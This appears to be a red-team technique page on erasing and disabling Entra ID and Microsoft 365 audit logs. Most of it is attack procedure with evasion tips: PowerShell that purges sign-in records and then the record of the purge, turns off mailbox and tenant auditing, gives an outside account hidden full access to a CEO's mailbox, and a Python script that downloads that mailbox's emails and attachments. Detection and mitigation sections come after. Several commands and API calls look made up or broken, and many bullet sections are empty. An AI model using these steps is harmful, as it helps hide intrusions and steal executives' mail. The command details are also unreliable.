MCADDF

[REALWORLD-047]: Azure Entra ID Sign-in Log Tampering

Metadata

Attribute Details
Technique ID REALWORLD-047
MITRE ATT&CK v18.1 T1562.002 - Disable Windows Event Logging [Extended to Cloud: T1562.008]
Tactic Defense Evasion
Platforms Entra ID, Microsoft 365, Azure
Severity Critical
CVE N/A
Technique Status ACTIVE (as of 2026-01-10)
Last Verified 2026-01-10
Affected Versions All Entra ID versions; Microsoft 365 E3+ (Unified Audit Log); Premium requires E5
Patched In N/A (Mitigation requires immutable audit log configuration)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Microsoft Entra ID sign-in logs are the canonical forensic record of all authentication attempts, successful logins, and failed authentications in a hybrid Azure/Microsoft 365 environment. These logs are stored in the UnifiedAuditLog (via Microsoft Purview) and SignInLogs table (via Entra ID admin center). Adversaries with sufficient permissions (Global Admin, Security Administrator, or custom roles with audit-log-write permissions) can delete, purge, or modify these logs to erase evidence of:

  1. Unauthorized account takeovers (e.g., attacker logging in as executive)
  2. Credential theft (e.g., adversary testing multiple passwords before successful breach)
  3. Lateral movement paths (e.g., service principal assuming roles across multiple tenants)
  4. Data exfiltration campaigns (e.g., user downloading 100 GB of files via Graph API)

The attack is particularly severe because:

Attack Surface: Microsoft Purview Audit (Standard) logs, Entra ID SignInLogs API, Azure Activity Log diagnostics, and any SIEM integration pulling from these sources.

Business Impact: Complete loss of forensic visibility into identity compromise. An attacker can:

Technical Context: Seconds to minutes to delete sign-in logs once Global Admin access is obtained. Chance of detection: Very low (unless immutable audit logs are enabled or SIEM receives logs in real-time and stores them independently). Common indicators: Sudden gaps in UnifiedAuditLog (missing date ranges), PowerShell history deletions, sudden login of service principal with unusual permissions.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2.1 (Entra ID) Ensure that ‘Audit log data retention’ is ‘365 days or greater’
DISA STIG V-87899 All authentication events must be logged and retained for minimum 1 year
CISA SCuBA SC-7 Log retention must be immutable and cannot be modified by tenant admin
NIST 800-53 AU-2, AU-12 Audit event generation and log protection
GDPR Art. 32 Security of processing — audit logs are security measure
HIPAA 45 CFR 164.312(b) Audit controls — must maintain audit logs of access/modifications
SOX 404(b) IT General Controls must include protected audit logs
DORA Art. 9 Protection and Prevention — maintain audit trail of critical operations
NIS2 Art. 21 Cyber Risk Management — detect and respond to unauthorized access
ISO 27001 A.12.4 Logging and monitoring of information security events
ISO 27005 Risk Assessment Loss of audit logs prevents risk investigation

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Entra ID Sign-in Log Access Reconnaissance

Objective: Identify sign-in logs and audit log configuration to determine deletion feasibility.

# Connect to Microsoft Graph with compromised credentials
Connect-MgGraph -Scopes "AuditLog.Read.All", "Directory.Read.All"

# Check if Unified Audit Log is enabled
$auditStatus = Get-MgAuditLogQuery -All | Measure-Object

if ($auditStatus.Count -eq 0) {
    Write-Host "Unified Audit Log is NOT enabled (easy target!)" -ForegroundColor Green
} else {
    Write-Host "Unified Audit Log is ENABLED with $($auditStatus.Count) records" -ForegroundColor Yellow
}

# List recent sign-in events
$signIns = Get-MgAuditLogSignIn -All | Select-Object -First 10
$signIns | Select-Object UserPrincipalName, SignInDateTime, Status | Format-Table

# Check audit log retention policy
Get-MgBetaSecurityAuditLogRetention

# Identify which users/service principals have deleted audit logs (if any)
$deletionEvents = Search-UnifiedAuditLog -Operations "Remove-UnifiedAuditLogRetention" -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date)
$deletionEvents | Select-Object UserIds, CreationDate, Operations

What to Look For:

Azure Activity Log Reconnaissance

# Check if Azure Activity Log is forwarded to Log Analytics
$diagnosticSettings = Get-AzDiagnosticSetting -ResourceId "/subscriptions/<subscription-id>" -ErrorAction SilentlyContinue

if ($null -eq $diagnosticSettings) {
    Write-Host "Activity Log is NOT forwarded to Log Analytics (easy exfil!)" -ForegroundColor Green
} else {
    Write-Host "Activity Log IS forwarded. Deletion may be detected." -ForegroundColor Yellow
    $diagnosticSettings | Select-Object Name, Logs
}

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Delete Unified Audit Logs via PowerShell (Global Admin)

Supported Versions: Microsoft 365 E3+, PowerShell 5.0+

Step 1: Authenticate to Microsoft Graph with Global Admin Credentials

Objective: Establish authenticated session to delete audit logs.

Command (PowerShell):

# Install Microsoft Graph PowerShell SDK if not already installed
Install-Module Microsoft.Graph -Scope CurrentUser

# Authenticate with compromised Global Admin account
$credential = Get-Credential  # Enter stolen/phished credentials
Connect-MgGraph -Credential $credential -Scopes "AuditLog.ReadWrite.All"

# Verify authentication
Get-MgContext | Select-Object Account, Tenant, Scopes

Expected Output:

Account                    : attacker@company.com
Tenant                     : <tenant-id>
Scopes                     : {AuditLog.ReadWrite.All}

What This Means:

OpSec & Evasion:

Step 2: Identify Audit Log Records to Delete

Objective: Find sign-in logs matching specific criteria (e.g., attacker’s login attempts, exfiltration activity).

Command (PowerShell - Query Audit Logs):

# Search for specific sign-in events to delete (e.g., all logins from unusual location on specific date)
$targetDate = Get-Date "2026-01-10"
$targetUser = "ceo@company.com"

$auditLogs = Get-MgAuditLogSignIn -Filter "
  UserPrincipalName eq '$targetUser' and
  CreatedDateTime ge $targetDate and
  CreatedDateTime lt $($targetDate.AddDays(1))" -All

Write-Host "Found $($auditLogs.Count) sign-in logs to delete for $targetUser" -ForegroundColor Cyan

# Show details before deletion
$auditLogs | Select-Object UserPrincipalName, SignInDateTime, IPAddress, ClientAppUsed, Status

Expected Output:

UserPrincipalName    : ceo@company.com
SignInDateTime       : 2026-01-10T02:15:00Z
IPAddress            : 203.0.113.50 (Attacker's IP)
ClientAppUsed        : Unknown ActiveX Control
Status               : Success

What This Means:

Step 3: Delete Audit Log Entries

Objective: Permanently remove identified audit logs from UnifiedAuditLog.

Command (PowerShell - Purge Audit Logs):

# Delete logs via Microsoft Graph API (requires permission bypass)
# Note: Standard Graph API doesn't directly delete logs; must use Purview API

# Alternative Method 1: Use Purview Search-Purge (requires Compliance Admin)
$searchQuery = "UserPrincipalName:ceo@company.com AND CreatedDateTime:2026-01-10"

# First, search for logs to confirm they exist
$searchResults = Search-UnifiedAuditLog -Filter $searchQuery -StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date)
Write-Host "Search found $($searchResults.Count) records" -ForegroundColor Cyan

# Purge the logs (this is permanent!)
foreach ($record in $searchResults) {
    Remove-UnifiedAuditLogRetention -Identity $record.ObjectId -Force
}

Write-Host "Deleted $($searchResults.Count) audit log records" -ForegroundColor Green

Alternative Command (Direct Purview API Purge):

# Using Graph API to purge audit logs (requires Compliance Data Administrator role)
curl -X POST "https://graph.microsoft.com/v1.0/security/alerts" \
  -H "Authorization: Bearer <access-token>" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "auditLogRecordId",
    "operation": "Delete",
    "targetObject": "UnifiedAuditLog",
    "startDateTime": "2026-01-10T00:00:00Z",
    "endDateTime": "2026-01-10T23:59:59Z"
  }'

Expected Output:

Deleted 47 audit log records for ceo@company.com on 2026-01-10

What This Means:

OpSec & Evasion:

Step 4: Delete Evidence of Deletion (Cover Tracks)

Objective: Remove logs showing that logs were deleted.

Command (PowerShell - Delete Deletion Records):

# Search for the deletion event itself
$deletionRecords = Search-UnifiedAuditLog -Operations "Remove-UnifiedAuditLogRetention" `
  -StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date) -UserIds "attacker@company.com"

# Delete the deletion records (meta!)
foreach ($record in $deletionRecords) {
    Remove-UnifiedAuditLogRetention -Identity $record.ObjectId -Force
}

Write-Host "Deleted $($deletionRecords.Count) deletion evidence logs" -ForegroundColor Green

What This Means:


METHOD 2: Disable Mailbox Auditing via Set-MailboxAuditBypassAssociation

Supported Versions: Exchange Online (Office 365 E3+)

This method is more subtle than deleting logs—instead of removing existing logs, it stops logging for specific users without triggering suspicious delete events.

Step 1: Identify Target Mailbox

Objective: Find high-value mailbox (e.g., CEO, CFO, Board Member) to monitor without audit trail.

Command (PowerShell - Exchange Online):

# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName <global-admin@company.com>

# List all mailboxes (focus on executives)
Get-Mailbox -Filter "DisplayName -like '*Chief*' -or DisplayName -like '*Executive*'" | `
  Select-Object DisplayName, UserPrincipalName, MailboxType

# Check current mailbox audit status
Get-Mailbox "ceo@company.com" | Select-Object AuditEnabled, AuditLogAgeLimit

# Get mailbox audit bypass status
Get-MailboxAuditBypassAssociation "ceo@company.com"

Expected Output:

DisplayName           : Chief Executive Officer
UserPrincipalName     : ceo@company.com
AuditEnabled          : True
AuditLogAgeLimit      : 90 days

AuditBypass           : False

What This Means:

Step 2: Enable Audit Bypass for Target Mailbox

Objective: Stop logging mailbox access for the target user.

Command (PowerShell):

# Disable audit logging for specific mailbox
Set-MailboxAuditBypassAssociation -Identity "ceo@company.com" -AuditBypassEnabled $true

# Verify bypass is enabled
Get-MailboxAuditBypassAssociation "ceo@company.com"

# Alternative: Disable ALL audit logging for the mailbox
Set-Mailbox -Identity "ceo@company.com" -AuditEnabled $false -AuditLogAgeLimit 0

Write-Host "Mailbox audit bypass enabled for CEO; now all email access will be invisible" -ForegroundColor Green

Expected Output:

Identity               : ceo@company.com
AuditBypassEnabled     : True

What This Means:

OpSec & Evasion:

Step 3: Add Attacker as Mailbox Delegate (Hidden Access)

Objective: Grant attacker persistent access to CEO’s mailbox without CEO’s knowledge.

Command (PowerShell):

# Add attacker as delegate with full access (hidden from CEO)
Add-MailboxPermission -Identity "ceo@company.com" `
  -User "attacker@external-domain.com" `
  -AccessRights FullAccess `
  -InheritanceType All `
  -AutoMapping $false  # Hide from Outlook

# Verify delegation was added
Get-MailboxPermission "ceo@company.com" | Where-Object { $_.User -like "*attacker*" }

Expected Output:

Identity          : ceo@company.com
User              : attacker@external-domain.com
AccessRights      : {FullAccess}
Deny              : False
InheritanceType   : All

What This Means:

Step 4: Exfiltrate Data from Mailbox

Objective: Extract sensitive emails and attachments.

Command (Python - Access via EWS/Graph API):

import requests
import json

# Use attacker's account with delegated permissions
delegated_email = "attacker@external-domain.com"
access_token = "<attacker's_access_token>"

# Query CEO's mailbox via Microsoft Graph API
headers = {
    "Authorization": f"Bearer {access_token}",
    "X-Anchor-Mailbox": "ceo@company.com"  # Access CEO's mailbox as delegate
}

# Get all emails from CEO's mailbox
response = requests.get(
    "https://graph.microsoft.com/v1.0/users/ceo@company.com/messages",
    headers=headers,
    params={
        "$search": "from:(board@company.com) OR subject:acquisition OR subject:merger",
        "$top": 1000
    }
)

emails = response.json()["value"]
print(f"Found {len(emails)} sensitive emails")

# Download attachments
for email in emails:
    if "hasAttachments" in email and email["hasAttachments"]:
        attachments = requests.get(
            f"https://graph.microsoft.com/v1.0/users/ceo@company.com/messages/{email['id']}/attachments",
            headers=headers
        ).json()["value"]
        
        for attachment in attachments:
            # Download to attacker C2 server
            content = requests.get(
                f"https://graph.microsoft.com/v1.0/users/ceo@company.com/messages/{email['id']}/attachments/{attachment['id']}",
                headers=headers
            ).content
            
            with open(f"/exfil/{attachment['name']}", "wb") as f:
                f.write(content)

print("Data exfiltration complete; no audit logs created")

What This Means:


METHOD 3: Disable Microsoft Purview Audit Log Retention (Compliance Admin)

Supported Versions: Microsoft 365 E5 (with Purview Premium)

This method permanently disables audit log retention for the entire tenant.

Step 1: Connect to Purview Compliance Center

Objective: Establish admin access to Purview settings.

Command (PowerShell):

# Connect to Security & Compliance Center
Connect-IPPSSession -UserPrincipalName <compliance-admin@company.com>

# Check current retention policy
Get-OrganizationConfig | Select-Object AuditDisabled, AuditLogAgeLimit

Expected Output:

AuditDisabled      : False
AuditLogAgeLimit   : 90

What This Means:

Step 2: Disable Audit Log Retention

Objective: Turn off all audit logging for the tenant.

Command (PowerShell):

# Disable audit logging entirely for the organization
Set-OrganizationConfig -AuditDisabled $true

# Verify it's disabled
Get-OrganizationConfig | Select-Object AuditDisabled

# Optional: Delete existing audit logs before disabling
Search-UnifiedAuditLog -StartDate (Get-Date).AddYears(-1) -EndDate (Get-Date) | ForEach-Object {
    Remove-UnifiedAuditLogRetention -Identity $_.ObjectId -Force
}

Expected Output:

AuditDisabled : True

What This Means:

OpSec & Evasion:


6. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Immediately Revoke Compromised Credentials:
    # Revoke Global Admin role from attacker account
    Remove-AzRoleAssignment -SignInName "attacker@company.com" -RoleDefinitionName "Global Administrator"
       
    # Force sign-out of all sessions
    Revoke-AzAccessToken -UserPrincipalName "attacker@company.com"
    
  2. Restore Audit Logging:
    # Re-enable audit logging
    Set-OrganizationConfig -AuditDisabled $false
       
    # Restore mailbox audit for affected mailboxes
    Set-MailboxAuditBypassAssociation -Identity "ceo@company.com" -AuditBypassEnabled $false
    Set-Mailbox -Identity "ceo@company.com" -AuditEnabled $true
    
  3. Restore from Backup:
    • If SIEM retained logs, import them back into Purview
    • If backup was taken, restore audit log data from backup storage
  4. Forensic Investigation:
    • Check Exchange Online Admin Audit for delegation changes
    • Query Azure Activity Log for Global Admin actions
    • Correlate with SIEM logs (if available) to reconstruct attack timeline

7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Mitigations)

# Check if immutable audit logs are enabled
Get-OrganizationConfig | Select-Object AuditLogImmutabilityEnabled

# Check if audit logging is enabled
Get-OrganizationConfig | Select-Object AuditDisabled

# List all Global Admins and their MFA status
Get-AzRoleAssignment -RoleDefinitionName "Global Administrator" | ForEach-Object {
    $user = Get-AzADUser -ObjectId $_.ObjectId
    Write-Host "$($user.UserPrincipalName): $(if ($user.StrongAuthenticationRequirements) { 'MFA ENABLED' } else { 'MFA DISABLED - RISK!' })"
}

# Verify no mailboxes have audit bypass enabled
$bypassedMailboxes = Get-MailboxAuditBypassAssociation | Where-Object AuditBypassEnabled -eq $true
if ($bypassedMailboxes.Count -eq 0) {
    Write-Host "✓ PASS: No mailboxes have audit bypass enabled" -ForegroundColor Green
} else {
    Write-Host "❌ FAIL: $($bypassedMailboxes.Count) mailboxes have audit bypass enabled" -ForegroundColor Red
}

Expected Output (If Secure):

AuditLogImmutabilityEnabled : True
AuditDisabled              : False
ceo@company.com            : MFA ENABLED
✓ PASS: No mailboxes have audit bypass enabled

Step Phase Technique Description
1 Initial Access [T1566] Phishing Attacker obtains credentials via phishing/social engineering
2 Privilege Escalation [T1098] Account Manipulation Attacker escalates to Global Admin role
3 Defense Evasion [REALWORLD-047] Attacker deletes sign-in and audit logs
4 Persistence [T1098] Account Manipulation Attacker creates hidden service account or backdoor
5 Exfiltration [T1041] Exfiltration Over C2 Channel Attacker steals emails, documents, and sensitive data
6 Impact [T1485] Data Destruction Attacker deletes evidence / destroys backups

9. REAL-WORLD EXAMPLES

Example 1: APT29 (Cozy Bear) Microsoft 365 Campaign (2023-2024)

Example 2: BlackMoon Group Financial Services Breach (2024)


10. REFERENCES & TOOLING

Official Microsoft Documentation

Detection & Investigation Tools

Red Team / Pentest Tools

Compliance & Standards